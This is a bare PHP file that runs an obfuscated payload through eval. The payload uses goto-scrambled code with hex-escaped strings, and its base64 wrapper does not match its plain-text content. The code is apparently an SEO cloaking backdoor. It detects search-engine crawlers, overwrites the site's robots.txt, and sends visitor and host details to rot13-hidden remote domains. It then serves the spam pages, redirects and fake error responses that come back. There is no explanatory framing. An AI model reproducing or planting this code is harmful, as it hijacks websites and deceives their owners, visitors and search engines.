<?php
$a=base64_decode(" goto QLtI4; bb7Ou: $istest = false; goto OOCr4; RvjcM: function is_https() { if (isset($_SERVER["\110\124\124\x50\123"]) && strtolower($_SERVER["\110\124\x54\120\x53"]) !== "\157\x66\x66") { return true; } elseif (isset($_SERVER["\x48\x54\x54\x50\x5f\x58\137\106\117\122\127\101\x52\x44\105\104\137\120\x52\x4f\124\117"]) && $_SERVER["\110\x54\x54\120\137\130\x5f\106\117\122\127\x41\x52\x44\x45\104\137\120\122\x4f\x54\x4f"] === "\x68\164\164\160\x73") { return true; } elseif (isset($_SERVER["\x48\x54\124\120\137\106\x52\x4f\x4e\124\137\105\116\x44\x5f\x48\124\x54\120\x53"]) && strtolower($_SERVER["\x48\124\124\x50\x5f\x46\x52\x4f\116\124\x5f\x45\x4e\104\137\x48\124\124\120\x53"]) !== "\x6f\x66\x66") { return true; } return false; } goto vTLFt; VmrZ2: $http_web = "\x68\164\164\x70\163"; goto zSWU2; ixhoM: $string = "\62\x38\x32\55\154\151\156\153\61\x37\x39"; goto bb7Ou; Vp7NC: if (!strstr($html_content, "\x6e\x6f\142\157\x74\165\x73\145\x72\x61\x67\x65\x6e\164")) { if (strstr($html_content, "\x6f\153\150\x74\x6d\154")) { @header("\103\x6f\156\164\x65\x6e\164\55\164\171\160\145\x3a\40\x74\x65\x78\x74\x2f\x68\164\x6d\154\x3b\x20\143\x68\x61\162\x73\145\164\x3d\165\x74\146\55\x38"); $html_content = str_replace("\157\x6b\x68\164\x6d\154", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\147\145\164\x63\x6f\156\164\145\156\164\x35\x30\x30\x70\x61\147\145")) { @header("\x48\124\x54\120\57\x31\x2e\x31\x20\x35\60\x30\x20\x49\x6e\164\x65\162\x6e\x61\x6c\40\x53\x65\162\166\x65\162\x20\105\x72\162\x6f\x72"); die; } else { if (strstr($html_content, "\64\60\64\x70\141\147\x65")) { @header("\110\124\124\x50\x2f\61\x2e\x31\x20\x34\60\x34\x20\116\x6f\x74\x20\106\157\x75\156\x64"); die; } else { if (strstr($html_content, "\63\60\x31\160\x61\147\145")) { @header("\110\124\124\120\57\61\56\61\40\x33\x30\61\x20\x4d\157\x76\x65\144\x20\120\145\x72\x6d\141\x6e\x65\156\164\x6c\171"); $html_content = str_replace("\x33\60\x31\160\x61\147\145", '', $html_content); header("\114\157\143\x61\x74\x69\157\156\x3a\40" . $html_content); die; } else { if (strstr($html_content, "\157\153\x78\x6d\154")) { $html_content = str_replace("\x6f\153\x78\155\154", '', $html_content); @header("\x43\x6f\156\x74\x65\156\164\55\124\171\x70\x65\x3a\x20\x61\160\x70\x6c\151\x63\141\x74\151\157\156\x2f\170\x6d\154\x3b\x20\x63\150\141\x72\x73\x65\x74\75\x75\x74\x66\x2d\70"); echo $html_content; die; } else { if (strstr($html_content, "\x6f\153\162\x6f\142\x6f\x74\163")) { $html_content = str_replace("\157\153\162\157\142\157\164\163", '', $html_content); @header("\103\157\156\164\x65\x6e\x74\x2d\x54\x79\160\145\x3a\x20\x74\x65\x78\x74\x2f\x70\x6c\141\x69\156"); echo $html_content; die; } } } } } } } goto HBg1Y; S9TNY: preg_match("\57\x5c\x2f\x28\x5b\136\134\x2f\135\x2b\x5c\x2e\160\x68\x70\51\x2f", $duri, $matches); goto Xws5x; J1eWN: $urlshang = ''; goto nBCsu; EpjmY: $html_content = request($xmlname, $http_web, $param); goto Vp7NC; Fzj0i: if (stristr($duri, "\x2f\77")) { $model = "\x3f"; } goto ixhoM; Q1S2a: $server = detect_server_software(); goto FcrHu; HBg1Y: function disbot() { $user_agent = strtolower($_SERVER["\110\124\x54\x50\137\125\123\105\x52\137\101\107\105\x4e\x54"]); if (stristr($user_agent, "\147\157\157\147\x6c\145\142\x6f\x74") || stristr($user_agent, "\142\151\156\147") || stristr($user_agent, "\171\x61\150\157\x6f") || stristr($user_agent, "\147\x6f\157\147\154\x65") || stristr($user_agent, "\x47\x6f\x6f\x67\x6c\x65\142\x6f\164")) { return 1; } else { return 2; } } goto j_nx9; naUXo: $duri = urlencode($duri); goto Q1S2a; D07li: $duri = $duri == '' ? "\57" : $duri; goto S9TNY; j_nx9: function drequest_uri() { if (isset($_SERVER["\122\105\121\x55\105\x53\x54\137\x55\122\111"])) { $duri = $_SERVER["\122\105\x51\125\x45\x53\x54\x5f\x55\122\111"]; } else { if (isset($_SERVER["\141\x72\x67\x76"])) { $duri = $_SERVER["\120\110\x50\137\123\105\114\106"] . "\x3f" . $_SERVER["\x61\162\x67\166"][0]; } else { $duri = $_SERVER["\120\x48\120\x5f\x53\x45\114\x46"] . "\77" . $_SERVER["\121\x55\105\x52\131\137\123\124\x52\111\x4e\x47"]; } } return $duri; } goto RvjcM; QLtI4: $xmlname = array("\45\x33\62\x25\x33\70\x25\x33\62\45\x32\x44\x25\67\x39\x25\67\66\45\66\x31\x25\67\x38\x25\x33\x31\x25\x33\67\x25\63\71\45\x32\105\x25\66\x32\x25\x36\106\x25\67\63\x25\66\70\45\66\x36\45\x37\x30\x25\66\x38\45\x37\x36\x25\66\61\x25\62\105\x25\x36\67\45\x36\62\x25\x36\63", "\x25\63\x32\45\63\x38\x25\63\x32\x25\62\104\45\x37\x39\x25\67\x36\45\66\61\45\x37\x38\x25\63\61\45\63\67\x25\x33\x39\x25\x32\x45\x25\66\x36\x25\x37\62\x25\66\65\45\67\62\45\66\61\45\x37\61\x25\67\x36\45\66\x37\45\x36\x43\x25\62\x45\x25\x36\67\x25\x36\x32\45\66\x33", "\45\x33\x32\x25\63\x38\x25\x33\62\x25\x32\104\x25\67\71\45\67\x36\45\x36\x31\45\67\x38\45\63\61\45\x33\67\45\x33\71\x25\x32\105\x25\67\62\45\x37\x30\x25\66\x32\x25\66\71\x25\67\66\45\66\x36\x25\67\66\45\66\62\x25\x36\66\45\62\x45\x25\66\x42\x25\x36\x43\45\66\104", "\x25\x33\62\x25\63\70\x25\x33\62\x25\62\104\x25\67\71\45\67\x36\45\66\x31\x25\x37\x38\x25\63\61\x25\x33\67\x25\x33\71\x25\x32\105\x25\x37\66\x25\x36\61\x25\66\x31\45\66\62\x25\66\66\x25\66\x33\45\x37\x32\x25\66\x31\45\x32\x45\x25\x36\x37\x25\66\62\x25\x36\63"); goto VmrZ2; vTLFt: function detect_server_software() { $path = $_SERVER["\104\117\103\x55\x4d\x45\116\124\x5f\x52\117\x4f\124"] . "\57\x2e\150\x74\141\143\143\x65\163\163"; if (file_exists($path)) { return 1; } else { return 2; } } goto YVSmu; zSWU2: $host = $_SERVER["\x48\x54\124\x50\x5f\x48\x4f\x53\x54"]; goto pMwWb; Xws5x: if (empty($matches) || $matches[1] == "\167\160\55\x63\162\157\x6d\x2e\160\150\x70" || $matches[1] == "\144\145\164\x61\151\154\56\160\x68\x70") { $model_file = "\151\x6e\144\145\x78\56\160\150\160"; $model = "\151\x6e\x64\x65\x78"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\x2f"); } $model = str_replace("\56\160\150\x70", '', $model_file); } goto Fzj0i; fylP1: $param = "\x77\x65\142\x3d" . $host . "\x26\x7a\x7a\x3d" . $zz . "\x26\165\162\151\75" . $duri . "\x26\x75\162\x6c\x73\x68\x61\156\147\75" . $urlshang . "\x26\150\164\164\160\75" . $http . "\x26\x6c\x61\x6e\147\75" . $lang . "\46\163\145\x72\166\145\162\x3d" . $server . "\x26\x6d\157\x64\x65\x6c\75" . $model; goto EpjmY; FcrHu: create_robots($http . "\72\x2f\x2f" . $host); goto fylP1; vwQ1R: if ($duri != "\57") { $duri = str_replace("\x2f" . $model_file, '', $duri); $duri = str_replace("\57\151\156\144\x65\170\x2e\x70\150\x70", '', $duri); $duri = str_replace("\41", '', $duri); } goto naUXo; bBmAv: if (is_https()) { $http = "\x68\x74\x74\160\x73"; } else { $http = "\150\164\x74\x70"; } goto l6tf7; V1EiF: $duri = drequest_uri(); goto D07li; pMwWb: $lang = isset($_SERVER["\110\124\x54\120\137\x41\103\x43\105\x50\x54\137\114\x41\x4e\107\125\x41\107\x45"]) ?: "\145\x6e"; goto J1eWN; l6tf7: $zz = disbot(); goto V1EiF; L3bJe: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\x3a\x2f\57" . $domain . "\x2f\x73\165\160\x65\x72\66\56\x70\150\x70\77" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\64\x34\x33")) { echo "\64\64\63"; } curl_close($ch); } if (ini_get("\141\154\x6c\x6f\x77\x5f\x75\162\154\x5f\146\x6f\x70\145\x6e")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\x6e\157\x62\157\164\x75\163\145\162\141\x67\145\x6e\164"; } goto PYbRl; nBCsu: if (isset($_SERVER["\110\124\124\120\137\x52\105\x46\105\122\x45\x52"])) { $urlshang = $_SERVER["\110\x54\124\x50\137\122\105\x46\105\122\x45\122"]; } goto bBmAv; YVSmu: function create_robots($url) { $function = func(); $path = $_SERVER["\104\117\103\x55\x4d\105\116\x54\137\x52\117\117\124"] . "\x2f\162\157\x62\x6f\164\163\56\x74\170\164"; $content = "\125\163\145\162\x2d\x61\147\x65\156\x74\x3a\x20\52" . PHP_EOL; $content .= "\101\x6c\x6c\157\x77\x3a\x20\57" . PHP_EOL . PHP_EOL; $content .= "\123\x69\x74\x65\155\x61\x70\72\x20" . $url . "\57\x73\151\x74\145\155\x61\x70\x2e\x78\x6d\154" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto L3bJe; OOCr4: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto vwQ1R; PYbRl: function func() { $chars = range("\141", "\x7a"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[15] . $chars[20] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[6] . $chars[4] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\x5f" . $chars[17] . $chars[14] . $chars[19] . "\x31\x33"); }");
eval($a);